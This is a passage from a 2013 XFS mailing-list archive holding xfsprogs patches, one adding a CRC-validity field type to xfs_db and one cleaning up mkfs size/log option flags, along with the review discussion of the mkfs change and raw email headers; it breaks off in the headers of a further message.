FLD_ARRAY|FLD_ABASE1|FLD_COUNT|FLD_OFFSET, TYP_NONE }, { "keys", FLDT_BNOBTKEY, btblock_key_offset, btblock_key_count, @@ -533,7 +533,7 @@ const field_t cntbt_crc_flds[] = { { "lsn", FLDT_UINT64X, OI(OFF(u.s.bb_lsn)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(OFF(u.s.bb_uuid)), C1, 0, TYP_NONE }, { "owner", FLDT_AGNUMBER, OI(OFF(u.s.bb_owner)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(OFF(u.s.bb_crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(u.s.bb_crc)), C1, 0, TYP_NONE }, { "recs", FLDT_CNTBTREC, btblock_rec_offset, btblock_rec_count, FLD_ARRAY|FLD_ABASE1|FLD_COUNT|FLD_OFFSET, TYP_NONE }, { "keys", FLDT_CNTBTKEY, btblock_key_offset, btblock_key_count, diff --git a/db/dir2.c b/db/dir2.c index 8b08d48..2ec64e0 100644 --- a/db/dir2.c +++ b/db/dir2.c @@ -922,7 +922,7 @@ const field_t dir3_data_union_flds[] = { #define DBH3OFF(f) bitize(offsetof(struct xfs_dir3_blk_hdr, f)) const field_t dir3_blkhdr_flds[] = { { "magic", FLDT_UINT32X, OI(DBH3OFF(magic)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(DBH3OFF(crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(DBH3OFF(crc)), C1, 0, TYP_NONE }, { "bno", FLDT_DFSBNO, OI(DBH3OFF(blkno)), C1, 0, TYP_BMAPBTD }, { "lsn", FLDT_UINT64X, OI(DBH3OFF(lsn)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(DBH3OFF(uuid)), C1, 0, TYP_NONE }, @@ -959,7 +959,7 @@ const field_t dir3_free_hdr_flds[] = { #define DB3OFF(f) bitize(offsetof(struct xfs_da3_blkinfo, f)) const field_t da3_blkinfo_flds[] = { { "hdr", FLDT_DA_BLKINFO, OI(DB3OFF(hdr)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(DB3OFF(crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(DB3OFF(crc)), C1, 0, TYP_NONE }, { "bno", FLDT_DFSBNO, OI(DB3OFF(blkno)), C1, 0, TYP_BMAPBTD }, { "lsn", FLDT_UINT64X, OI(DB3OFF(lsn)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(DB3OFF(uuid)), C1, 0, TYP_NONE }, diff --git a/db/dquot.c b/db/dquot.c index 6927956..2f7d463 100644 --- a/db/dquot.c +++ b/db/dquot.c @@ -48,7 +48,7 @@ const field_t dqblk_flds[] = { { "diskdq", FLDT_DISK_DQUOT, OI(DDOFF(diskdq)), C1, 0, TYP_NONE }, { "fill", FLDT_CHARS, OI(DDOFF(fill)), CI(DDSZC(fill)), FLD_SKIPALL, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(DDOFF(crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(DDOFF(crc)), C1, 0, TYP_NONE }, { "lsn", FLDT_UINT64X, OI(DDOFF(lsn)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(DDOFF(uuid)), C1, 0, TYP_NONE }, { NULL } diff --git a/db/field.c b/db/field.c index c6d7404..4582097 100644 --- a/db/field.c +++ b/db/field.c @@ -163,6 +163,11 @@ const ftattr_t ftattrtab[] = { 0, fa_agblock, NULL }, { FLDT_CNTBTREC, "cntbtrec", fp_sarray, (char *)cntbt_rec_flds, SI(bitsz(xfs_alloc_rec_t)), 0, NULL, cntbt_rec_flds }, + +/* CRC field */ + { FLDT_CRC, "crc", fp_crc, "%#x (%s)", SI(bitsz(__uint32_t)), + 0, NULL, NULL }, + { FLDT_DEV, "dev", fp_num, "%#x", SI(bitsz(xfs_dev_t)), 0, NULL, NULL }, { FLDT_DFILOFFA, "dfiloffa", fp_num, "%llu", SI(bitsz(xfs_dfiloff_t)), 0, fa_dfiloffa, NULL }, diff --git a/db/field.h b/db/field.h index aecdf9f..6343c9a 100644 --- a/db/field.h +++ b/db/field.h @@ -80,6 +80,10 @@ typedef enum fldt { FLDT_CNTBTKEY, FLDT_CNTBTPTR, FLDT_CNTBTREC, + + /* CRC field type */ + FLDT_CRC, + FLDT_DEV, FLDT_DFILOFFA, FLDT_DFILOFFD, diff --git a/db/fprint.c b/db/fprint.c index 1d2f29c..435d984 100644 --- a/db/fprint.c +++ b/db/fprint.c @@ -30,6 +30,7 @@ #include "output.h" #include "sig.h" #include "malloc.h" +#include "io.h" int fp_charns( @@ -184,3 +185,41 @@ fp_uuid( } return 1; } + +/* + * CRC is correct is the current buffer it is being pulled out + * of is not marked with a EFSCORRUPTED error. + */ +int +fp_crc( + void *obj, + int bit, + int count, + char *fmtstr, + int size, + int arg, + int base, + int array) +{ + int bitpos; + int i; + __int64_t val; + char *ok; + + ok = iocur_crc_valid() ? "correct" : "bad"; + + for (i = 0, bitpos = bit; + i < count && !seenint(); + i++, bitpos += size) { + if (array) + dbprintf("%d:", i + base); + val = getbitval(obj, bitpos, size, BVUNSIGNED); + if (size > 32) + dbprintf(fmtstr, val, ok); + else + dbprintf(fmtstr, (__int32_t)val, ok); + if (i < count - 1) + dbprintf(" "); + } + return 1; +} diff --git a/db/fprint.h b/db/fprint.h index b032dbd..6a6d77e 100644 --- a/db/fprint.h +++ b/db/fprint.h @@ -29,3 +29,5 @@ extern int fp_time(void *obj, int bit, int count, char *fmtstr, int size, int arg, int base, int array); extern int fp_uuid(void *obj, int bit, int count, char *fmtstr, int size, int arg, int base, int array); +extern int fp_crc(void *obj, int bit, int count, char *fmtstr, int size, + int arg, int base, int array); diff --git a/db/inode.c b/db/inode.c index 634dc30..ec533ee 100644 --- a/db/inode.c +++ b/db/inode.c @@ -168,7 +168,7 @@ const field_t inode_core_flds[] = { }; const field_t inode_v3_flds[] = { - { "crc", FLDT_UINT32X, OI(COFF(crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(COFF(crc)), C1, 0, TYP_NONE }, { "change_count", FLDT_UINT64D, OI(COFF(changecount)), C1, 0, TYP_NONE }, { "lsn", FLDT_UINT64X, OI(COFF(lsn)), C1, 0, TYP_NONE }, { "flags2", FLDT_UINT64X, OI(COFF(flags2)), C1, 0, TYP_NONE }, diff --git a/db/io.h b/db/io.h index 2c47ccc..d647284 100644 --- a/db/io.h +++ b/db/io.h @@ -58,3 +58,9 @@ extern void write_cur(void); extern void set_cur(const struct typ *t, __int64_t d, int c, int ring_add, bbmap_t *bbmap); extern void ring_add(void); + +static inline bool +iocur_crc_valid() +{ + return (iocur_top->bp && iocur_top->bp->b_error != EFSCORRUPTED); +} diff --git a/db/sb.c b/db/sb.c index d178f58..b36abf8 100644 --- a/db/sb.c +++ b/db/sb.c @@ -118,7 +118,7 @@ const field_t sb_flds[] = { C1, 0, TYP_NONE }, { "features_log_incompat", FLDT_UINT32X, OI(OFF(features_log_incompat)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(OFF(crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(crc)), C1, 0, TYP_NONE }, { "pquotino", FLDT_INO, OI(OFF(pquotino)), C1, 0, TYP_INODE }, { "lsn", FLDT_UINT64X, OI(OFF(lsn)), C1, 0, TYP_NONE }, { NULL } diff --git a/db/symlink.c b/db/symlink.c index 9f3d0b9..a4f420f 100644 --- a/db/symlink.c +++ b/db/symlink.c @@ -69,7 +69,7 @@ const struct field symlink_crc_flds[] = { { "magic", FLDT_UINT32X, OI(OFF(magic)), C1, 0, TYP_NONE }, { "offset", FLDT_UINT32D, OI(OFF(offset)), C1, 0, TYP_NONE }, { "bytes", FLDT_UINT32D, OI(OFF(bytes)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(OFF(crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(crc)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(OFF(uuid)), C1, 0, TYP_NONE }, { "owner", FLDT_INO, OI(OFF(owner)), C1, 0, TYP_NONE }, { "bno", FLDT_DFSBNO, OI(OFF(blkno)), C1, 0, TYP_BMAPBTD }, -- 1.8.3.2 From zhong@linux.vnet.ibm.com Mon Sep 30 00:20:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6DB117F5A for ; Mon, 30 Sep 2013 00:20:28 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E6130AC002 for ; Sun, 29 Sep 2013 22:20:27 -0700 (PDT) X-ASG-Debug-ID: 1380518420-04cb6c153d15a1570001-NocioJ Received: from e28smtp01.in.ibm.com (e28smtp01.in.ibm.com [122.248.162.1]) by cuda.sgi.com with ESMTP id kaHWdB4bof57SpgQ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 29 Sep 2013 22:20:22 -0700 (PDT) X-Barracuda-Envelope-From: zhong@linux.vnet.ibm.com X-Barracuda-Apparent-Source-IP: 122.248.162.1 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.1] Received: from /spool/local by e28smtp01.in.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Mon, 30 Sep 2013 10:50:18 +0530 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.1] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.1] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.1] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.1] Received: from d28dlp01.in.ibm.com (9.184.220.126) by e28smtp01.in.ibm.com (192.168.1.131) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Mon, 30 Sep 2013 10:50:16 +0530 Received: from d28relay02.in.ibm.com (d28relay02.in.ibm.com [9.184.220.59]) by d28dlp01.in.ibm.com (Postfix) with ESMTP id F0490E0057 for ; Mon, 30 Sep 2013 10:51:24 +0530 (IST) Received: from d28av02.in.ibm.com (d28av02.in.ibm.com [9.184.220.64]) by d28relay02.in.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r8U5MfsW27394294 for ; Mon, 30 Sep 2013 10:52:42 +0530 Received: from d28av02.in.ibm.com (localhost [127.0.0.1]) by d28av02.in.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id r8U5KFKe027776 for ; Mon, 30 Sep 2013 10:50:15 +0530 Received: from [9.123.210.162] (thinkpad-t5421.cn.ibm.com [9.123.210.162]) by d28av02.in.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id r8U5KChH027629 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Mon, 30 Sep 2013 10:50:14 +0530 Message-ID: <1380518411.2985.14.camel@ThinkPad-T5421> Subject: [PATCH v2] xfsprogs: cleanup size/log setting flags of mkfs From: Li Zhong X-ASG-Orig-Subj: [PATCH v2] xfsprogs: cleanup size/log setting flags of mkfs To: Dave Chinner Cc: Eric Sandeen , xfsprogs Date: Mon, 30 Sep 2013 13:20:11 +0800 In-Reply-To: <20130929230638.GG26872@dastard> References: <1380272973.2836.5.camel@ThinkPad-T5421> <5245C07A.3000700@sandeen.net> <1380437441.3811.9.camel@ThinkPad-T5421> <1380445971.3811.14.camel@ThinkPad-T5421> <20130929230638.GG26872@dastard> Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13093005-4790-0000-0000-00000A9188E3 X-Barracuda-Connect: e28smtp01.in.ibm.com[122.248.162.1] X-Barracuda-Start-Time: 1380518421 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 As Dave suggested, for the size/log flags, we could use: a value of 1 to mean it was initialized (by the other suboption), a value of 2 to mean it was a command lien parameter. And after the options are parsed, if we want to check whether a value is set manually or not, we could just use one of the flags, e.g. *sflag: non-zero means it was manually set ( 2 - by size, 1 - by log ), zero means it was not manually set. There are also some small option checking order adjustments, so respec checking is done before conflict checking -- just make them consistent with others. Signed-off-by: Li Zhong --- mkfs/xfs_mkfs.c | 88 ++++++++++++++++++++++++++++++++------------------------- 1 file changed, 50 insertions(+), 38 deletions(-) diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index 34bf2ff..b7c1ca8 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -1011,7 +1011,7 @@ main( case B_LOG: if (!value || *value == '\0') reqval('b', bopts, B_LOG); - if (blflag) + if (blflag > 1) respec('b', bopts, B_LOG); if (bsflag) conflict('b', bopts, B_SIZE, @@ -1020,12 +1020,13 @@ main( if (blocklog <= 0) illegal(value, "b log"); blocksize = 1 << blocklog; - blflag = 1; + blflag = 2; /* command line parameter */ + bsflag = 1; /* value initialized */ break; case B_SIZE: if (!value || *value == '\0') reqval('b', bopts, B_SIZE); - if (bsflag) + if (bsflag > 1) respec('b', bopts, B_SIZE); if (blflag) conflict('b', bopts, B_LOG, @@ -1036,7 +1037,8 @@ main( !ispow2(blocksize)) illegal(value, "b size"); blocklog = libxfs_highbit32(blocksize); - bsflag = 1; + bsflag = 2; + blflag = 1; break; default: unknown('b', value); @@ -1169,7 +1171,7 @@ main( case D_SECTLOG: if (!value || *value == '\0') reqval('d', dopts, D_SECTLOG); - if (slflag) + if (slflag > 1) respec('d', dopts, D_SECTLOG); if (ssflag) conflict('d', dopts, D_SECTSIZE, @@ -1178,12 +1180,13 @@ main( if (sectorlog <= 0) illegal(value, "d sectlog"); sectorsize = 1 << sectorlog; - slflag = 1; + slflag = 2; + ssflag = 1; break; case D_SECTSIZE: if (!value || *value == '\0') reqval('d', dopts, D_SECTSIZE); - if (ssflag) + if (ssflag > 1) respec('d', dopts, D_SECTSIZE); if (slflag) conflict('d', dopts, D_SECTLOG, @@ -1195,7 +1198,8 @@ main( illegal(value, "d sectsize"); sectorlog = libxfs_highbit32(sectorsize); - ssflag = 1; + ssflag = 2; + slflag = 1; break; case D_RTINHERIT: fsx.fsx_xflags |= \ @@ -1236,19 +1240,20 @@ main( case I_LOG: if (!value || *value == '\0') reqval('i', iopts, I_LOG); - if (ilflag) + if (ilflag > 1) respec('i', iopts, I_LOG); - if (ipflag) - conflict('i', iopts, I_PERBLOCK, - I_LOG); if (isflag) conflict('i', iopts, I_SIZE, I_LOG); + if (ipflag) + conflict('i', iopts, I_PERBLOCK, + I_LOG); inodelog = atoi(value); if (inodelog <= 0) illegal(value, "i log"); isize = 1 << inodelog; - ilflag = 1; + ilflag = 2; + isflag = 1; break; case I_MAXPCT: if (!value || *value == '\0') @@ -1263,11 +1268,11 @@ main( case I_PERBLOCK: if (!value || *value == '\0') reqval('i', iopts, I_PERBLOCK); - if (ilflag) - conflict('i', iopts, I_LOG, - I_PERBLOCK); if (ipflag) respec('i', iopts, I_PERBLOCK); + if (ilflag > 1) + conflict('i', iopts, I_LOG, + I_PERBLOCK); if (isflag) conflict('i', iopts, I_SIZE, I_PERBLOCK); @@ -1281,19 +1286,20 @@ main( case I_SIZE: if (!value || *value == '\0') reqval('i', iopts, I_SIZE); + if (isflag > 1) + respec('i', iopts, I_SIZE); if (ilflag) conflict('i', iopts, I_LOG, I_SIZE); if (ipflag) conflict('i', iopts, I_PERBLOCK, I_SIZE); - if (isflag) - respec('i', iopts, I_SIZE); isize = cvtnum(0, 0, value); if (isize <= 0 || !ispow2(isize)) illegal(value, "i size"); inodelog = libxfs_highbit32(isize); - isflag = 1; + isflag = 2; + ilflag = 1; break; case I_ATTR: if (!value || *value == '\0') @@ -1415,7 +1421,7 @@ main( case L_SECTLOG: if (!value || *value == '\0') reqval('l', lopts, L_SECTLOG); - if (lslflag) + if (lslflag > 1) respec('l', lopts, L_SECTLOG); if (lssflag) conflict('l', lopts, L_SECTSIZE, @@ -1424,12 +1430,13 @@ main( if (lsectorlog <= 0) illegal(value, "l sectlog"); lsectorsize = 1 << lsectorlog; - lslflag = 1; + lslflag = 2; + lssflag = 1; break; case L_SECTSIZE: if (!value || *value == '\0') reqval('l', lopts, L_SECTSIZE); - if (lssflag) + if (lssflag > 1) respec('l', lopts, L_SECTSIZE); if (lslflag) conflict('l', lopts, L_SECTLOG, @@ -1441,7 +1448,8 @@ main( illegal(value, "l sectsize"); lsectorlog = libxfs_highbit32(lsectorsize); - lssflag = 1; + lssflag = 2; + lslflag = 1; break; case L_LAZYSBCNTR: if (!value || *value == '\0') @@ -1490,7 +1498,7 @@ main( case N_LOG: if (!value || *value == '\0') reqval('n', nopts, N_LOG); - if (nlflag) + if (nlflag > 1) respec('n', nopts, N_LOG); if (nsflag) conflict('n', nopts, N_SIZE, @@ -1499,12 +1507,13 @@ main( if (dirblocklog <= 0) illegal(value, "n log"); dirblocksize = 1 << dirblocklog; - nlflag = 1; + nlflag = 2; + nsflag = 1; break; case N_SIZE: if (!value || *value == '\0') reqval('n', nopts, N_SIZE); - if (nsflag) + if (nsflag > 1) respec('n', nopts, N_SIZE); if (nlflag) conflict('n', nopts, N_LOG, @@ -1516,7 +1525,8 @@ main( illegal(value, "n size"); dirblocklog = libxfs_highbit32(dirblocksize); - nsflag = 1; + nsflag = 2; + nlflag = 1; break; case N_VERSION: if (!value || *value == '\0') @@ -1607,7 +1617,7 @@ main( case S_SECTLOG: if (!value || *value == '\0') reqval('s', sopts, S_SECTLOG); - if (slflag || lslflag) + if (slflag > 1 || lslflag > 1) respec('s', sopts, S_SECTLOG); if (ssflag || lssflag) conflict('s', sopts, S_SECTSIZE, @@ -1618,13 +1628,14 @@ main( lsectorlog = sectorlog; sectorsize = 1 << sectorlog; lsectorsize = sectorsize; - lslflag = slflag = 1; + lslflag = slflag = 2; + lssflag = ssflag = 1; break; case S_SIZE: case S_SECTSIZE: if (!value || *value == '\0') reqval('s', sopts, S_SECTSIZE); - if (ssflag || lssflag) + if (ssflag > 1 || lssflag > 1) respec('s', sopts, S_SECTSIZE); if (slflag || lslflag) conflict('s', sopts, S_SECTLOG, @@ -1638,7 +1649,8 @@ main( sectorlog = libxfs_highbit32(sectorsize); lsectorlog = sectorlog; - lssflag = ssflag = 1; + lssflag = ssflag = 2; + lslflag = slflag = 1; break; default: unknown('s', value); @@ -1671,7 +1683,7 @@ main( * For RAID4/5/6 we want to align sector size and block size, * so we need to start with the device geometry extraction too. */ - if (!blflag && !bsflag) { + if (!bsflag) { blocklog = XFS_DFL_BLOCKSIZE_LOG; blocksize = 1 << XFS_DFL_BLOCKSIZE_LOG; } @@ -1693,7 +1705,7 @@ main( * ft.sectoralign will never be set. */ sectorsize = blocksize; - } else if (!ssflag && !slflag) { + } else if (!ssflag) { /* * Unless specified manually on the command line use the * advertised sector size of the device. We use the physical @@ -1721,7 +1733,7 @@ _("switching to logical sector size %d\n"), } } - if (ft.sectoralign || (!ssflag && !slflag)) { + if (ft.sectoralign || !ssflag) { sectorlog = libxfs_highbit32(sectorsize); if (loginternal) { lsectorsize = sectorsize; @@ -1731,7 +1743,7 @@ _("switching to logical sector size %d\n"), if (sectorsize < XFS_MIN_SECTORSIZE || sectorsize > XFS_MAX_SECTORSIZE || sectorsize > blocksize) { - if (ssflag || slflag) + if (ssflag) fprintf(stderr, _("illegal sector size %d\n"), sectorsize); else fprintf(stderr, @@ -1760,7 +1772,7 @@ _("block size %d cannot be smaller than logical sector size %d\n"), */ if (crcs_enabled) { /* minimum inode size is 512 bytes, ipflag checked later */ - if ((isflag || ilflag) && inodelog < XFS_DINODE_DFL_CRC_LOG) { + if (isflag && inodelog < XFS_DINODE_DFL_CRC_LOG) { fprintf(stderr, _("Minimum inode size for CRCs is %d bytes\n"), 1 << XFS_DINODE_DFL_CRC_LOG); @@ -1804,7 +1816,7 @@ _("32 bit Project IDs always enabled on CRC enabled filesytems\n")); } } - if (nsflag || nlflag) { + if (nsflag) { if (dirblocksize < blocksize || dirblocksize > XFS_MAX_BLOCKSIZE) { fprintf(stderr, _("illegal directory block size %d\n"), @@ -1850,7 +1862,7 @@ _("32 bit Project IDs always enabled on CRC enabled filesytems\n")); if (ipflag) { inodelog = blocklog - libxfs_highbit32(inopblock); isize = 1 << inodelog; - } else if (!ilflag && !isflag) { + } else if (!isflag) { inodelog = crcs_enabled ? XFS_DINODE_DFL_CRC_LOG : XFS_DINODE_DFL_LOG; isize = 1 << inodelog; -- 1.8.1.4 From zhong@linux.vnet.ibm.com Mon Sep 30 00:24:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 106447F5A for ; Mon, 30 Sep 2013 00:24:51 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id E6A61304032 for ; Sun, 29 Sep 2013 22:24:47 -0700 (PDT) X-ASG-Debug-ID: 1380518684-04cbb02c3c1597220001-NocioJ Received: from e23smtp03.au.ibm.com (e23smtp03.au.ibm.com [202.81.31.145]) by cuda.sgi.com with ESMTP id nw2yifWIdjl66iEJ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 29 Sep 2013 22:24:46 -0700 (PDT) X-Barracuda-Envelope-From: zhong@linux.vnet.ibm.com X-Barracuda-Apparent-Source-IP: 202.81.31.145 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.145] Received: from /spool/local by e23smtp03.au.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Mon, 30 Sep 2013 15:24:44 +1000 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.145] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.145] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.145] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.145] Received: from d23dlp02.au.ibm.com (202.81.31.213) by e23smtp03.au.ibm.com (202.81.31.209) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Mon, 30 Sep 2013 15:24:42 +1000 Received: from d23relay05.au.ibm.com (d23relay05.au.ibm.com [9.190.235.152]) by d23dlp02.au.ibm.com (Postfix) with ESMTP id 47F5E2BB0040 for ; Mon, 30 Sep 2013 15:24:39 +1000 (EST) Received: from d23av02.au.ibm.com (d23av02.au.ibm.com [9.190.235.138]) by d23relay05.au.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r8U57iB39044278 for ; Mon, 30 Sep 2013 15:07:44 +1000 Received: from d23av02.au.ibm.com (localhost [127.0.0.1]) by d23av02.au.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id r8U5OcnM007301 for ; Mon, 30 Sep 2013 15:24:39 +1000 Received: from [9.123.210.162] (thinkpad-t5421.cn.ibm.com [9.123.210.162]) by d23av02.au.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id r8U5OaZs007256 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Mon, 30 Sep 2013 15:24:37 +1000 Message-ID: <1380518675.2985.18.camel@ThinkPad-T5421> Subject: Re: [PATCH] xfsprogs: cleanup size/log setting flags of mkfs From: Li Zhong X-ASG-Orig-Subj: Re: [PATCH] xfsprogs: cleanup size/log setting flags of mkfs To: Eric Sandeen Cc: Dave Chinner , xfsprogs Date: Mon, 30 Sep 2013 13:24:35 +0800 In-Reply-To: <5248ECAA.1010506@sandeen.net> References: <1380272973.2836.5.camel@ThinkPad-T5421> <5245C07A.3000700@sandeen.net> <1380437441.3811.9.camel@ThinkPad-T5421> <1380445971.3811.14.camel@ThinkPad-T5421> <20130929230638.GG26872@dastard> <1380510260.2985.4.camel@ThinkPad-T5421> <5248ECAA.1010506@sandeen.net> Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13093005-6102-0000-0000-000004417AD7 X-Barracuda-Connect: e23smtp03.au.ibm.com[202.81.31.145] X-Barracuda-Start-Time: 1380518685 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Sun, 2013-09-29 at 22:14 -0500, Eric Sandeen wrote: > On 9/29/13 10:04 PM, Li Zhong wrote: > > On Mon, 2013-09-30 at 09:06 +1000, Dave Chinner wrote: > >> On Sun, Sep 29, 2013 at 05:12:51PM +0800, Li Zhong wrote: > >>> As Eric suggested, we could set both of the size/log flags after we have > >>> parsed the options - and from there on it simply means "manually set". > >>> > >>> After that, we could use just one flag, e.g. *sflag, to check whether > >>> the corresponding value is manually set or not. > >> > >> It's a start, but I'm not sure that it is an improvement or not. > >> i.e. you're adding yet another piece of logic to the already > >> tortured argument parsing and flag setting. > >> > >> This could be done in the argument parsing itself, without needing > >> separate post-processing code. e.g. changing the parsing code like > >> so: > >> > >> case N_LOG: > >> if (!value || *value == '\0') > >> reqval('n', nopts, N_LOG); > >> - if (nlflag) > >> + if (nlflag > 1) > >> respec('n', nopts, N_LOG); > >> if (nsflag) > >> conflict('n', nopts, N_SIZE, > >> N_LOG); > >> + nlflag = 2; > >> dirblocklog = atoi(value); > >> if (dirblocklog <= 0) > >> illegal(value, "n log"); > >> + nsflag = 1; > >> dirblocksize = 1 << dirblocklog; > >> - nlflag = 1; > >> break; > >> > >> Would acheive exactly the same thing - i.e. > >> a value of 1 means it was initialised, a value of 2 means it was a > >> command line parameter... > >> > >> This means the code checks can be cleaned up as you have done, but > >> we don't need a separate post-processing step for the arguments to > >> set flags that weren't set... > > > > Thank you for the suggestion, I will try this approach. > > I think It could also preserve the information which suboption is used > > actually in the command line through the main() function, though it > > seems not needed currently. > > sounds good to me too; just watch out for the conflict/respec stuff to > be sure it all still works... I wasn't super happy with my suggestion > after I made it, I guess. :) :) I just sent out the code, hope I didn't make some silly mistakes... Please help to review, though I might only be able to check mail ~ten days later -- we have a long holiday starting from tomorrow :) Thanks, Zhong > > -Eric > > > Thanks, Zhong > >> > >> > >>> Signed-off-by: Li Zhong > >>> --- > >>> mkfs/xfs_mkfs.c | 29 ++++++++++++++++++++++------- > >>> 1 file changed, 22 insertions(+), 7 deletions(-) > >>> > >>> diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c > >>> index 34bf2ff..aa3f391 100644 > >>> --- a/mkfs/xfs_mkfs.c > >>> +++ b/mkfs/xfs_mkfs.c > >>> @@ -1667,11 +1667,26 @@ main( > >>> dfile = xi.dname; > >>> > >>> /* > >>> + * Later code wants to know if the user manually set a value. > >>> + * There are two ways to specify on the cmdline; as size or as a log. > >>> + * if either was used, set both flags - from here on it simply means > >>> + * "manually set" > >>> + */ > >>> + if (bsflag || blflag) > >>> + bsflag = blflag = 1; > >>> + if (ssflag || slflag) > >>> + ssflag = slflag = 1; > >>> + if (isflag || ilflag) > >>> + isflag = ilflag = 1; > >>> + if (nsflag || nlflag) > >>> + nsflag = nlflag = 1; > >> > >> You missed the log sector size/log flags. > >> > >> Cheers, > >> > >> Dave. > > > > > From stew@messeduphare.co.uk Mon Sep 30 03:49:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 625837F4E for ; Mon, 30 Sep 2013 03:49:06 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D7CAAAC001 for ; Mon, 30 Sep 2013 01:49:02 -0700 (PDT) X-ASG-Debug-ID: 1380530938-04cb6c153d15aeb10001-NocioJ Received: from mail-we0-f174.google.com (mail-we0-f174.google.com [74.125.82.174]) by cuda.sgi.com with ESMTP id shMgbZbFL8DBDG4r (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 30 Sep 2013 01:48:59 -0700 (PDT) X-Barracuda-Envelope-From: stew@messeduphare.co.uk X-Barracuda-Apparent-Source-IP: 74.125.82.174 Received: by mail-we0-f174.google.com with SMTP id q58so5133146wes.5 for ; Mon, 30 Sep 2013 01:48:58 -0700 (PDT) X-Google-DKIM-Signature: v=1; 